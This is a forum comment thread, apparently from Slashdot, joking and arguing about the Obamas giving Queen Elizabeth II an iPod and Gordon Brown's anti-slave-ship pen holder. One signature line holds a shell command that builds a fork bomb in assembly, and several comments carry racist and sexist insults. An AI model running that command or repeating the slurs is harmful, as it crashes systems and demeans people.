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Obamas Give Queen Elizabeth an iPod
Ponca City, We love you writes "What did the Obamas give Queen Elizabeth II on Wednesday when they arrived at Buckingham Palace? An Obama aide reported the queen was given an iPod loaded with video and photos of her 2007 trip to the United States, as well as songs and accessories. She also received a rare songbook signed by the composer Richard Rodgers. The gift issue had come up after Prime Minister Gordon Brown visited the White House last month. Mr. Brown gave Mr. Obama a pen holder carved from the timber of an anti-slave ship, receiving in return a DVD box set of American movies, igniting a torrent of criticism in the British press. According to news reports, the queen gave the Obamas a silver-framed signed photograph — a gift she gives to all visiting dignitaries."
(RP joke, for the humour impaired).
[FUCK BETA]
And its good to be Queen...
Its not my fault, someone put a wall in my way.
It seems kind of 'tarded to give a 70+ year old woman an ipod with a tiny screen filled with speeches she is very unlikely to agree with (not that he would even be aware of her political leanings.)
I would have given her a gift of pictures of her during the WW2 blitz on London, showing her changing tires and working along with the rest of the people under siege by the Germans and put this into a classy montage. I would want to honor her good qualities, and there is plenty out there. For one of the richest women in the world, I'm certain trinkets are not high on her shopping list.
Seriously, Obama is a sad amateur. Camacho was a smarter president.
...that the Region 1 DVD's didn't play in Brown's Region 2 player. On his next visit Obama will give him a modding kit.
How much does custom firmware that will change its function to a logic bomb in the mysterious future cost? Or is that a standard feature in the iPod firmware, available to the federal government at any time? ;)
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Are there really not enough issues in the world to get worked up about that people are arguing over a freakin' gift exchange?
mmmm...forbidden donut
I know its not April fools anymore but it still seems more appropriate, considering our economic climate.
Had to be an iPod, not a Zune: Her Majesty has far too much gravitas to run around "squirting" people.
If you want your life to be different, live it differently.
After all, would ANY government allow one of their top people to accept an electronic gift without it being checked to make sure it's not bugged? That would be a serious security lapse.
Yep. good thing.
Mr. Brown gave Mr. Obama a pen holder carved from the timber of an anti-slave ship, receiving in return a DVD box set of American movies, igniting a torrent of criticism in the British press.
Brown, commenting on the matter, said: "I've already downloaded most of these on the Pirate Bay."
"Anyone who [rips a CD] is probably engaging in copyright infringement." - David O. Carson
Am I wrong of you can only see the content of the iPod on the computer from which it has been transferred from?
Giving crippled DRM to heads of state, that's the new American diplomacy..."Hey here's a gift for you...wait...oh sorry, you'll have to break the DMCA to use it..."
There's a good article here
http://www.bbc.co.uk/history/british/abolition/royal_navy_article_01.shtml
It's actually an incredibly cool story.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
First, who cares who gave who what? Seriously? I mean, if you made a *major* boo-boo and gave Obama some racist memoribilia or something, then you're an idiot, but otherwise who cares? You're talking negotiations over the future of countries, anyone who reads anything into the gifts is clearly desperate for news or clearly focusing on the wrong things.
Have the governments of the two countries seriously got nothing else better to waste their money on than gifts for other nations? Sure, bring something along but keep it simple. A couple of bouquets for the missus and a bottle of special wine or something to enjoy over dinner one night. Anything else is asking for a cock-up because it'll have been made from the ship that X's father fought against in war Y or something. And, trust me, nobody British really cared what gift was received/given the last time the US president and the UK prime minister met. Nobody. The press obviously had nothing else better to report, or were feeling snubbed themselves. They don't even care that Churchill's bust was moved in the Whitehouse... really... we don't have American presidents lining 10 Downing Street, so why should the American's have anything similar? So long as it was done respectfully (i.e. they didn't kick it down the stairs after drawing a moustache on it), who cares?
Personally, I think the Queen's gift is the worst out of all those listed (in all the linked articles) anyway - it's too imperialist and overbearing... a signed photo... "Look, I have given you something cheap and readily available to remind you that you were once in my presence". Urk.
If he had really wanted to put two seconds' thought into it, he would have gotten something for her dogs ... either the corgis or the labs. She's absolutely nuts over her corgis (same as every dog lover :-)
The real owners are the big wealthy business interests that control things and make all the important decisions. Forget the politicians, theyre an irrelevancy. The politicians are put there to give you the idea that you have freedom of choice. You dont. You have no choice. You have owners. They own you.. They own everything. They own all the important land. They own and control the corporations. Theyve long since bought and paid for the Senate, the Congress, the statehouses, the city halls. Theyve got the judges in their back pockets. And they own all the big media companies, so that they control just about all of the news and information you hear. Theyve got you by the balls. They spend billions of dollars every year lobbying lobbying to get what they want. Well, we know what they want; they want more for themselves and less for everybody else.
But Ill tell you what they dont want. They dont want a population of citizens capable of critical thinking. They dont want well-informed, well-educated people capable of critical thinking. Theyre not interested in that. That doesnt help them. Thats against their interests. They dont want people who are smart enough to sit around the kitchen table and figure out how badly theyre getting fucked by a system that threw them overboard 30 fucking years ago.
You know what they want? Obedient workers people who are just smart enough to run the machines and do the paperwork but just dumb enough to passively accept all these increasingly shittier jobs with the lower pay, the longer hours, reduced benefits, the end of overtime and the vanishing pension that disappears the minute you go to collect it. And, now, theyre coming for your Social Security. They want your fucking retirement money. They want it back, so they can give it to their criminal friends on Wall Street. And you know something? Theyll get it. Theyll get it all, sooner or later, because they own this fucking place. Its a big club, and you aint in it. You and I are not in the big club.
-George Carlin
Hmmm. Is there a copyright issue here (assuming that all the music on the ipod was not open source)? Can I legally hook an ipod to my computer, load it with music from my iTunes, and give the ipod away? How is that any different from making copies of CDs that I own and giving those copies away?
Jealously hoarding mod points since 2007.
Christ Slashdot, this is not news.
ilovegeorgebush
The article doesn't specify which iPod they gave her (article links to a 5th Gen). Since it had video, it wasn't a shuffle. Clearly the best one would be the 32 GB iPod touch as far as video goes, but if it was "loaded with video" then maybe the 120 GB iPod Classic is more likely?
Taking guns away from the 99% gives the 1% 100% of the power.
"igniting a torrent of criticism in the British press"
Where can I find that .torrent?
http://www.amazon.com/ROYAL-NAVY-VERSUS-SLAVE-TRADERS/dp/1844156338/ref=sr_1_12?ie=UTF8&s=books&qid=1238674338&sr=8-12 The book is a deeper analysis of the issue.
Yeah, I really do think Corgi owners are a fun lot, and Corgis are some of the nicest dogs around. As the poster said above , The Queen of England is not exactly a simpleton, a slouch or unintelligent. I find someone so entitled has gotten down on all fours like the rest of us and she has done a lot more for her country, I believe, than Obama ever will.
See her first telivised christmas address in 1957.
ERROR: ")" expected. Found EOF
So will she have to fly to the US and sync with Obamas PC to load new song onto them since apples DRM only allow the device to sync with one system without loosing data?
I just find it hilarious, it seems like the criticisms of the US personified.
"Here's a rare and incredibly symbolic gift, a pen case made with wood from anti-slave ships."-British
"lol heres 2 fast 2 furious" - US
It's been a long time.
Despite his skin color I'd think his Kenyan background would indicate a present commemorating decolonization of Africa and creation of the Commonwealth as opposed to the elimination of the west African slave trade to North America. Unless of course the present was to the United States and not Obama specifically. Wonder how re-gifting works in this case?
I have no mouth and I must scream! you ignorant clod :-
It's fairly poignant the fact that she gives everyone the same gift, a silver framed picture of her... Pretty much says, 'you ain't shit better than anyone else, but I am da bomb.'
flinging poop since 1969
Wait, what's the dog going to do with an iPod?
UTF-8: There and Back Again
Remember back in the day when you used to give mix tapes to girls to show them how amazing you were?
I'm god, but it's a bit of a drag really...
Do you really think her old one ran out of space, or maybe it didn't have enough encryption for the US record industry's liking and so had to be replaced, either way, it wasn't newsworthy the first time ma'am's portable DRM box was discussed and obama barely increases that newsworthiness
June 2005 | CBBC Newsround | The Queen 'joins iPod revolution'
http://www.macworld.co.uk/news/index.cfm?NewsID=11875
The summary doesn't even mention that the DVDs that Obama gave Brown were encoded for the USA, and therefore wouldn't play on DVD players in Britain. Come on, Obumbler! You're eye-poppingly wealthy and you now have an army of people to pick out gifts on your behalf. Can you please send them somewhere besides Wal-Mart 30 minutes before you're supposed to meet a head of state? Sad amateur, indeed. What should we expect, though, from someone who's been taking instead of giving his whole life?
Everyone knows that the queen doesn't have an iPod, she has a wePod!
President Obama was unable to meet with Queen Elizabeth, since she passed away a while ago. Instead he met with HM Queen Elizabeth II. I know it sounds pedantic, but they are different people.
I think a nice gun would have been more fitting for Her Royal Highness.
This post contains benzene, nitrosamines, formaldehyde and hydrogen cyanide.
This is probably publicity to cover up the fact that he used to use a Zune (which is, as we all know, WAY lamer than a totally hip iPod) :-/
Perhaps they should re-christen it the OnePod. I mean it could have been worse he could have given her the Royal Wii :)
Build a Man a Fire, and He'll Be Warm for a Day. Set a Man on Fire, and He'll Be Warm for the Rest of His Life.
ERROR: "." expected. Found EOF.
... shallow, consumerist gifts.
Oh, never mind, I just re-read that and answered my own question.
Are there really not enough issues in the world to get worked up about that people are arguing over a freakin' gift exchange?
This just in...Israel and Palestine are fighting. More at the top of the hour...
A lot of people are pissed about Government bailouts. News at 11.
The economy sucks. More to come.
Don't complain. At least this is "new" by comparison to the rest of the shit that keeps getting dredged up day after day.
God, the first chimp has a huge ego. I wonder if they grease the doors in the morning so he can fit his head through.
Also the HMS GANNET was an anti-slave ship for the wrong reasons. The GANNET was employed to protect British interests and suppress the slave market among the Islamic and African kingdoms, guaranteeing British prices and control of the market.
Obama, being an idiot, doesn't know a lick of history.
I hope out of consideration for the rich history of British music that it included some of the classics...
like the Sex Pistols http://en.wikipedia.org/wiki/God_Save_the_Queen_(Sex_Pistols_song)
first, he gives the British PM a stack of DVDs (ultra lame). next, he gives the queen of england a friggin ipod (i'm sure she is really suave on computers...probably has a 24" iMac all modded out).
maybe next Obama will show up in Japan with some 20" rims for the PM there. "Runnin on dubs!!!"
this is so embarrassing. i would've expected it out of President Bush. i bet he got the queen a handgun (big ol' desert eagle), and he probably got Tony Blair a shot-glass set. but Obama? why is he pulling this crap?
You mean the parent post prevents fire? Wow!
"Ah, Mr. Obama, I've been expecting you."
"You seem to be handling all the troubles in the world, right now. One more shouldn't be a problem for you, please accept my gift to you of Northern Ireland."
Schroedinger's Brexit: The UK is both in and out of the EU at the same time!
Wait, what's the dog going to do with an iPod?
Use it as a chew toy, what did you expect?
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
and to add, i love the idea that we (the US) give away a bunch of Chinese-made products, made by people who are probably in not-so-good working conditions. we can't even give away something made in America.
just wait till she plugs that iPod into a computer in the Buckingham network. i bet China has some sort of virus embedded in that thing. they are about to own MI6!!!
But what the news doesn't mention was the iPod was made from recycled SuperBabies: Baby Geniuses 2 DVDs.
Personally, I think the Queen's gift is the worst out of all those listed (in all the linked articles) anyway - it's too imperialist and overbearing... a signed photo... "Look, I have given you something cheap and readily available to remind you that you were once in my presence". Urk.
Yeah, she hands one of those things to everyone who walks past Buckingham Palace. I've got four of the damned things already. She won't take no for an answer, you have to take the thing or she yells at you and has her guards chase you away. At least you can melt the silver frame down and make some money. </sarcasm>
Are you serious? Regardless of the expense, or lack of it (it's probably a very expensive frame, not something from the Hallmark store), a signed photograph of Liz II is not a common item.
And, if you think about it, if you're in her position, meeting some dignitary or other literally every other day, you'd probably standardize on some gift like that too.
Maybe the Obama White House should consider doing something similar (although a signed photo is probably not a good idea for someone who isn't a monarch).
I do have to wonder what an 80-something year old who has staff to do everything for her is going to do with an iPod. Doesn't seem like all that great an idea.
Putting moderation advice in your
There's a recession on, people. Do you really expect Obama to be handing out diamond necklaces? How's that going to look?
Also, both sides know perfectly well that whatever they give, the other side won't be allowed to keep it as a matter of anti-corruption policy. Every single gift given to an American president goes straight into a vault. So there's no point in giving anything really expensive.
I piss off bigots.
OTOH, the Obama administration has looked so clueless so far about that "new dog for the White House" business, it probably wouldn't be a good idea...
In Soviet Russia, our new overlords are belong to all your base.
... iPod One ?
Obama and ipod in the same story! How many of you Slashbots touched yourselves when you saw that headline?
yeah, its 2009, we have multi-region players in this country. Have had them for years. In fact, my first budget player was multi-region. No codes or chips required.
This is funny. Even the Queen Of England has got an iPod now.
I guess that Bill Gates' family will have to continue to make do with some non-Apple product....
And since when has RIAA/PRS or any of the other wankers worried about whether there was a genuine copyright issue before suing???
Chief Lincoln of the Americas offers you Construction in return for Invention and 126 gold!
Dedicated Cthulhu Cultist since 4523 BC.
I wonder if it was loaded with downloaded Beatles albums.
Bryan
Still bitter McCain lost I see...Too bad we didn't elect that political prodigy Sarah Palin.
I swear to God...I swear to God! That is NOT how you treat your human!
...but not in real life, cause you'd get your ass beaten, wouldn't ya pussies?
Yeah, better to hide behind a screen and keyboard when proving you're a toughguy who isn't afraid of the consequences of his actions. You're so pathetic as to not even use your login name.
That's why you troglodytes are irrelevant, and that's why you're going to feel more and more 'oppressed' as white privilege dissolves into equality. The best part of it is, racism is being selected against in our population (by mixed-race children becoming far more common), so you're not only irrelevant, you're obsolete.
Now be good little monkeys and keep your shit-slinging and masturbation over in your corner where it belongs.
Obama, has our back people, he gave something this cool to the queen, who herself has her head up her ass....."yes , here take a picture of me, and you can sit and admire me from afar"
Silly girl, pics are for kids!
If you give a picture of yourself to a guy, at least make sure you are wearing 3 inch heels and leather...with some make up and such. Leave it to a woman to send something totally useless.
What does she get, an Ipod (score 1), with tons of music and videos (score 2) and also a photo album of her trip to the US (score 3 and 4 because we know she likes to look at herself!)
I am resting assured, someone like Obama doing a great deed like this...proves he is up with the times.
Peace bro, keep up the good work!
Just remember that every Queen, no matter how grey, has a silver lining.
Best wishes.
Lizzy.
The summary doesn't even mention that the DVDs that Obama gave Brown were encoded for the USA,
That's because nobody knows whether they were. There was just some speculation in the tech press.
and therefore wouldn't play on DVD players in Britain.
US DVDs seem to work pretty well for me.
a WePod instead of an iPod?
are you really this stupid?
What do you think the chances are that President Obama went to a Best Buy or wherever and bought some DVDs he liked to give to Queen Elizabeth?
Well said, I have had the pleasure of meeting Her Majesty, and I can tell you she is no simpleton. She is an intelligent witty person, who actually has a "can do" mind.
People forget that in WW2, she drove ambulances carrying injured people to the Hospital. She is a trained mechanic, and does actually know more about cars and engines than most normal people.
She even has a blackberry, which she uses to keep in touch with her grandchildren. Talking of Grandchildren, Remember Princess Beatrice once said "she is lucky to have a cool grandmother"
She is a charming, intelligent and lovely person, and one of the things that makes me as a Brit, feel proud.
God Bless you maam.
Have a nice day!
The president fired a CEO in private industry and we're interested in a gift exchange? Very scary...
She was on the allied side, despite the fact that her real surname is "Achtungschweinhund Hollenstollen Von Saxe-Koburg Gutenberg".
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
U.S.->U.K. transplant here: In my experience, some of the DVDs I brought over work, and some don't. The Playstation 2 I brought with me will happily play all the "some don't" ones, though.
-- 'The' Lord and Master Bitman On High, Master Of All
I don't even understand the controversy. 25 DVD's is a pretty damn good gift. Maybe the Brits don't understand that, in the U.S., giving exquisite gifts to politicians is a MAJOR no-no (unless you're Ted Stevens, of course). I'm surprised they even gave him that much. A U.S. politician couldn't accept anything in excess of $335 in value as a gift from a foreign leader. Maybe His Majesty Lord Gordon is used to having suitcases full of cash and rare art handed to his pampered ass by other countries. But we're the U.S. We only give *that* kind of tribute to big corporations, banks, and Iraqi contractors.
SJW: Someone who has run out of real oppression, and has to fake it.
Queen is just a hereditary title and can be used like any other title including social titles like Mr, Dr, Sir, Mrs and so on.
Using the term Queen Elizabeth without specifying which Queen Elizabeth is no less correct than referring to someone called Paul who is a Dr. as Dr. Paul. The only reason you'd want to specify is if there were multiple Dr. Pauls you could be referring to, but seeing as the summary quite clearly points out he met a living Queen there is no room for ambiguity and so there is no need to refer to her as Queen Elizabeth II.
Using Queen Elizabeth is merely an informal way of referring to her.
If you were writing a book on English Queens then yes, you would be wise to use Queen Elizabeth II to make it clear who is being referred to. As we're talking about someone visiting the living Queen of England, no, there is no need.
Obligatory XKCD: http://xkcd.com/541/
http://www.mhall119.com
He wanted to give her a GM car, then a staffer pointed out that nobody wants them.
He has to give them something designed in the USA and made in China.
I hope the British security guys carefully validated the hardware and firmware on the device. If it was an iPhone, now she's stuck with a 2 year AT&T contract too! Nobody should ever give a cell phone without paying for the entire contract period.
Mr Brown does not have ur 733t h4kk1n sk1lz.
What am I on about? He doesn't have any skills, the fat Scottish twat.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
It seems kind of 'tarded to give a 70+ year old woman an ipod with a tiny screen
The Queen actually already had an iPod, has for a few years now.
http://www.mhall119.com
Pres. Obama should have given her some modern World History texts to help the Queen understand that the very institution of monarchy is a dated and now worthless concept.
You know, there's probably a lot of people out there who enjoy the idea of finding themselves in front of the queen, getting a framed portrait from her, which is the height of conceit, then saying "I've got something for you too, Your Highness", reaching inside the suit jacket, and coming out with an extended middle finger.
I'd rather join Prince Philip for cigars and a bottle of whiskey, provided we'd get to cruise down to the liquor store in his Gran Torino.
Check the above link, the dude's off the hook! He's like, the original, blue blooded troll of Royal Affairs, long considered a national treasure in the Isles, one of their guilty pleasures.
During an appearance in some college in the UK, so the story goes, some black and handicapped students made sure to stand in his path to the podium, purposefully attempting to coax an insensitive royal remark or two. To the disappointed groans of the students and the audience alike, Prince Philip passed on the opportunity. However, when you think about it, this was about as insensitive as delivering one of his patented absent-minded insults, so score another win for the man.
Lil' Thindime, lilting a lacrimose lament, krashes the kwaint konfines of Kokonino Kounty
Well it didn't get modded flamebait...
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
At her age, are you sure about that?
This issue is a bit more complicated than you think.
Sorry to answer myself again, but I believe she has an iPod already.. since 2005... a 6GB iPod mini.
Its pretty well known actually (google queen ipod).
Not sure what she uses it for, but if i remember rightly, she (or maybe Prince Philip) are avid podcast listeners.
Have a nice day!
So we gave a gift to the Queen of England of a product made in China...
What more can I say. The US has got to stop being a colony of China.
Yes I said a colony. The traditional role of a colony was to provide raw material and absorb manufactured goods.
See my blog http://ilovecookes.blogspot.com/ for light hearted technical information.
the queen gave the Obamas a silver-framed signed photograph
... does it run Linux?
It goes to show the lack of class in the man and his administration. The two gifts mentioned from the British were classy gifts, and were well thought out.
The gifts from the Obama administration don't have a clue what class is.
Expect more of the same until we impeach and fire this clown of a president.
Just wait til the RIAA get wind of this pre-loaded content, even if it was given as a "gift".
Which would you rather get?
25% Funny, 25% Insightful, 25% Informative, 25% Troll
The queen has no role in the security status of her government
The Queen is Commander in Chief of the UK military..
All Obama has to offer is some entertainment dross produced by the people he REALLY represents - not the US people - the US entertainment INDUSTRY! So he really is a RIAA, MPAA lackey.
Fucking sad.
I just hope Tropic Thunder was on there. The only good film out of Whorywood for years...
Can't change history.
Those who aren't aware are doomed to repeat it.
Don't kill the messenger and all that.
Frankly if I were Obama I would stab the guy in the neck with his "gift".
What's really sad is this is just proof that the UK isn't ready to be mature about global politics, last I checked it had been a while since our leaders would give each other spectacular gifts of gold and jewels. The economy suffers, sorry were fresh out of golden turkeys for your diamond hatted ass.
Fuck the queen. Its not about gifts. Its about the people who now have to work together to fix this mess of a world. Its not going to be fancy gifts that do that, it will be bright thinking and cooperation. If the Brits are really worried about what my president gave their queen and PM they can go toss off in the back while real shit gets done.
And like you said, her old one is a few year, has less storage and doesn't do videos. So a new model iPod would not be redundant.
But a signed picture of yourself is a good gift? Especially considering it is a zero thought gift because you give it to every dignitary that visits.
If you're basing that on the linked Daily News article, what it actually says is
Do you have information that these were in fact "American" (region 1) DVDs? Or are you just speculating, as the Daily News was?
I don't care why you're posting AC
She was launched in 1878. Britain had been out of the slave business since 1807, in which year the trade was banned throughout the Empire, and since 1827 had considered any slave ship of any nation to be a pirate and hence fair game for the Royal Navy.
Real Daleks don't climb stairs - they level the building.
I'm really hoping that since this happened yesterday, it was Obama's idea of an April fools joke. If not, he's the fool. Apparently no one gave him nor our first chaw chewer the standard etiquette lesson before meeting the queen.
Do not meddle in the affairs of sysadmins, for they are subtle, and quick to anger.
No, not this time. I think the Obamas should have given Liz and Gordie both signed basketballs.
It's not the gifts themselves that are the issue... it's the symbolism, if you will.
See, diplomacy is a game, of sorts, and it's heavily dependent on symbolism. Things like gift exchanges, summit meetings, state dinners, and all that are mostly useless from a practical standpoint... but it's part of the game. They're the rules; to be taken seriously you have to at least play along with them and pretend that you care. It's like Christmastime at the office; you go to the parties and you buy little gifts for each other, not because you really care about everyone or want to hang out with them, but because it smooths things over and is just part of office politics.
Obama's not playing by the rules. And while the gifts and all that aren't really a big deal, he's committing a diplomatic faux pas--toward his country's closest ally, no less. What makes this (and similar small diplomatic blunders) ironic, and what the European press is starting to make noise about, is that everyone thought Obama would be better at international relations than Bush. True, he has yet to start any wars; but flubbing even the basic, petty, easy stuff like state dinners and symbolic gift exchanges with your closest allies and your historical and powerful military/economic rivals (China and Russia) certainly isn't getting off on the right foot.
It's like the new guy showing up at the office Christmas party with PBR and dollar store gag gifts for the exchange when everyone else brought drinkable wine or liquor and a $15 gift... then cutting loose a giant fart and laughing loudly about it. Sure, it doesn't really affect business operations, it's just a stupid little party. But now everyone's looking at him kinda funny and thinking "hey, we thought he was cool, but this guy's a bit of an ass." In other words, it may not be harmful, but he certainly isn't doing us any favors.
The meek may inherit the earth, but the strong shall take the stars.
He has a 5 year old son. It's probably been set up correctly.
I'm pretty sure this ipod was assembled in China. How about helping our economy by giving gifts that are American made? Something like..... hmmmm.... like.... hmmmm....
Our President is distributing copyrighted material to others? Sounds like a case for the RIAA...
Our president gives the Queen a nice ipod with pictures from her last visit to the U.S. and a signed book by one of her favorite composers and all the Obamas get is a stupid autographed picture!
How much you want to bet that picture isn't even personalized? They probably to a dozen at a time and keep them in a stack somewhere.
Actually she already has an iPod, bought in 2005, google it.
She also has a blackberry (uses it to communicate with her grandchildren, etc)
Have a nice day!
And most importantly, the ipod was loaded with Obamessiah's greatest speeches too (The Queen has trouble sleeping).
I hope once the Queen realizes how quickly her new iPod will become outdated and unsupported she'll take measures to shut down Apple. Consumers need to be rescued from Apple's throwaway-your-expensive-iPod-to-get-the-new-features modus operandi.
We give a fark what one rich guy gives to some even richer ho bag? If I want this garbage I will go over to Daily Mail thank you very much.
Yes, the Prez's Blackberry security is a valid thing to talk about on Slashdot, but this submission seems like a setup for political bashing or royals bashing or just plain stupid gossip and simply has no fucking place here.
This is why I will never ever pay for Slashdot.
This is why I block all Slashdot sponsor ads.
This is why Mr Tard-e McTardison samzenpus' submissions are no longer going to be displayed to me.
This just in! Chuck Norris took a dump! In his toilet! Wheee! Where is Lindsey Lohan? What type of phone does she use? Oh and Brittany Spears uses Tampax tampons! Oh My GOSH!
By all accounts the Queen is actually into gadgets. She even has a Wii. That aside he could have gotten her something a bit more thoughtful. Isn't he supposed to have people that do this kind of thing for him... wait these are probably the same people that let him do candid appearances; you know where he jokes about the global economic crisis, and references the physically challenged in an inappropriate way.
It seems kind of 'tarded to give a 70+ year old woman an ipod with a tiny screen filled
Make that 80+ - she'll be 83 on April 21 - did you get her a birthday card yet? Or maybe an iTunes card?
== First cross river, then insult alligator.
I was just reading an article about the growing market for high-cost luxury goods of all sorts in China, almost exclusively purchased by political figures as gifts for each other.
Apparently, although much of this gift-giving to earn political favors is technically "illegal", it's standard practice to overlook it if you're a political figure in good standing.
There's an especially great demand for designer goods that don't have obvious logos or labels, making them look like they're "showing off" their branding. They want the receiver of the gift to notice, after the fact, how costly and top-tier the gift was, without every photographer and witness of the gift exchanging process to know at a glance.
While I am broadly anti the monarchy I have to agree with you that the Queen does do the British people proud. She is a fantastic ambasador for the country (when she leaves the hubby at home) and I believe that unlike just about everyone else in power in Britian she actually earns the money she gets. The rest of the royal family can go jump for all I care though. Charlie Boy is loosing the plot more and more each day and his two sons are spoilt little brats. When the Queen finally leaves office I think it will be the beginning of the end of the British monarchy.
I used to have a better sig but it broke.
Whoever the protocol officer is at the White House needs to fired. These lame "gifts" are making us look even more shallow and stupid than most of Europe already thinks.
Professional Politicians are not the solution, they ARE the problem.
but Obama? why is he pulling this crap?
Being in a younger generation he is more in tune with technology? Also, it's not like he bought an iPod off the shelf and handed it to her - someone did spend time and put on music that she might like. That is thoughtful...then again she gave the President of the United States a picture of her, signed. That's very original and generous of her. I wonder how much thought the Queen put into that gift. So shouldn't you rant on her a bit? The gift he gave was different and thoughtful. Not every gift has to be expensive and extraveggant...and to be honest, she's the f'n Queen of England - it's kind of hard to flash expensive gifts in front of her face and make her go "ohh"..remember she wears the royal jewelry which is worth millions.
I do not support "The Man". I also do not support your irrational stupidity
Almost, but not quite. The British had been out of the slave business, but the slaves weren't fully freed in the states until 1865. So the question is why did Britian build an anti-slave ship? Was it because they felt bad and wanted to pour money into it?
In 1783 the war of independence wrought control of America away from the Empire. The empire then wasn't getting any economic perks from slavery, and the states had pushed the empire out of the americas. The brits now had to fight a proxy war if they wanted any hope of making a second attempt at crushing the colonies.
I think there's a reasonable argument here that if Britain couldn't enjoy the work of slaves, they weren't going to let anyone else do it either. That's why, in my opinion, the ship should be a slap in the face of Obama.
I agree mostly, but wanted to add that another big component of showing respect in gift giving is thoughtfulness of the gift chosen - the pen holder carved from an anti-slave ship is an obvious example of this.
Consumer electronics and media gifts like iPods and DVD's are what you give when your out of ideas. They do not show a good level of understanding of the person you are giving the gift to, although at least the iPod was loaded with pictures of the queens visit... but like all electronics they are ephemeral things, not really gifts to last or provide deeper meaning as you said.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Really? An iPod? Come on...
eh?
the US is still paying tribute?
Every single gift given to an American president goes straight into a vault. So there's no point in giving anything really expensive.
Exactly. So what's going to look better in a museum a 100 years from now? A nice wooden pencil cup, or a yellowing non-functional iPod?
This issue is a bit more complicated than you think.
So... what exactly are you saying? He received a gift from PM Gordon Brown, who presented it as a being made from an anti-slave ship, with obvious intended symbolism. And Obama, being properly (dubiously) educated by your post, should have done what? Shouted "Nigga, please! Slave trade protectionism isn't anti-slavery! Get that shit out of here!"
No, I'm serious. People are riding him for the diplomatic faux paus of cheesy gifts (not surprising, American Presidents have a long tradition of terrible handling of the whole Gifts To/From Heads of State issue). I can't imagine what you'd want him to do with your "information" other than refuse the gift, which would be what order of magnitude more of a faux paus?
The enemies of Democracy are
The whites get all the advantages and the "non-whites" are never racist.
first, he gives the British PM a stack of DVDs (ultra lame). next, he gives the queen of england a friggin ipod
The DVDs and iPod are not the gifts, they are the packaging. The real value of these gifts is of the content that's on them -- examples of the artistic and cultural outputs of the United States, which have been exported to the world.
That most of this culture is available to anybody with $300 to spare is not an indictment of Obama's stinginess, nor of America's, but a celebration of our egalitarianism.
Why is everyone ignoring the "rare songbook signed by the composer Richard Rodgers"? That could be worth far more than the iPod. Compared to that, the iPod would be a side gift. But that's what the media is focusing on because it's more sensational.
So what?
That was her maiden name. Her married surname is von Battenberg.
For the iPod, the museum tag will read "A gift from the American people" and the iPod will say "Made In China" on the back.
This issue is a bit more complicated than you think.
The Obamas gave the Queen a rare signed songbook by Rick Rodgers, or Rodgers and Hammerstein fame. Rodgers is one of the greatest American composers. The iPod was filled with his music. It was a thoughtful, expensive, classy gift.
Citizens Against Plate Tectonics
Or one of these
How strange, then, that the plantations in the West Indies that supplied Britain's vast appetite for sugar and rum were even more reliant on slave labour than those on the mainland. And how strange that the Caribbean colonies did not become independent, nor did the newly-formed United States take any action to free them from the Empire. And how strange that even so, the British Empire did indeed abolish the slave trade and then slavery itself, and command the Royal Navy to seize all slavers wherever they might be found.
Real Daleks don't climb stairs - they level the building.
I don't see how this is a Troll, since all I have done is point out that President Obama has made some serious mistakes in his public relations recently, and that a person in his position is supposed to have staff to help them with things like this. If that makes me a Troll then I accept that, I mean obviously it is a heinous act to say anything negative about the President.. or should I say THIS President. I'll be under my bridge if you need me.
She's a nice, smart person who's pretty switched on for her age. Completely accepted.
Doesn't axiomatically follow that
1) She's the most qualified candidate to be the Head of State
2) Her eldest son (nae burdz, nae Tims) will be the most qualified candidate to be the Head of State
I mean - she (and he) may be, but not axiomatically so.
(/Tom Payne)
Everyone know's that Canada's just the US's cold, funny-talking, hockey-playing 51st state.
Absolutely.
Lets assume you're a known alcoholic. Would it be appropriate to give you a bottle of wine?
Will you settle for consistent hypocrisy? You may have to...
Yes but were the Brits making money? Did the "third party" slave trade help or hurt their interests in India?
c'mon now.
Best you steer clear of Canada then. For some god-forsaken reason, we're still paying ridiculous sums of money to native communities because their land was taken by the 'white man' a friggin' million years ago. And yet god knows how much of the taxes I pay the government are still being funnelled directly to them.
Sorry, I had nothing to do with that. MY ancestors had nothing to do with that... we're from the Ukraine. Why in the fuck should I be burdened with paying off native communities when neither myself, nor anyone I've ever been related to was even remotely involved with it?
Everyone is freaking out over the iPod but what about the signed Richard Rodgers songbook? The queen is an admirer of Rodgers and Hammerstein and he has been dead for 30 years. IMHO alot of thought went into it, its uniquely American and represents a fantastic piece of American culture.
well, she could have gotten them this.... but I kinda doubt it
She was oen the first world leaders to use television when that first came out (yes she is that old). One the first to have a website, etc.
She already had one, years ago -- does anyone else remember the first series of Spitting Image, showing HM with her iconic headscarf (and tiara) rocking out to something on a headset. The tune was later revealed to be Rule Britannia...
She is literally above the law.
Bad analogies are like waxing a monkey with a rainbow.
Queen Elizabeth II already has owned an iPod for the last two years, given to her by one of her sons. She's not exactly tech illiterate.
I see nobody can miss a chance to bash whatever president is currently in office. Obama is getting a lot of tempest in a teacup moments lately.
Newsflash: All politicians and people that appear on TV use teleprompters... Deal with it; it's not news.
"When the president does it, that means it's not illegal." - Richard M. Nixon
I would hope that she got a new ipod since 2005 I doubt the battery is working so well at this point. If I had a 4 year old mp3 player I would be happy for an upgrade. If she's as much of a tech nut as it seems I think she would love it.
Also they threw in a bunch of pics and videos of the time they had, thats like scrap booking for the new age.
Except it wasn't wine, it was seltzer water, from a company who at one point made wine but then became active members of the Prohibitionist movement, but you personally feel that their anti-alcohol activities were really just a way to protect their other business interests and think the alcoholic should reject the seltzer because the underlying... *yawn*
Let's drop the analogy. You can't dispute that this was in fact an anti-slavery ship, but you think that Britain's anti-slavery activities weren't about the altruistic protection of the civil liberties of people forced into slavery, but rather a way of ensuring Britain's maritime and merchant interests. So fucking what. The actions of a nation-state, at least those of any significant material investment, essentially always are done for the sake of that nation's practical interests with any moral goal being at best secondary. The Emancipation Proclamation, which only applied to rebelling states, was really about morale and hopefully inspiring slave rebellions in the Confederacy rather than freeing the slaves as such. And yet, at least when it could be enforced by Union armies, that's exactly what it did. I'm betting you think Obama is an idiot who doesn't know history for idolizing Lincoln. Or maybe he just has a more realistic view of history, and admires someone who made practical and moral outcomes coincide.
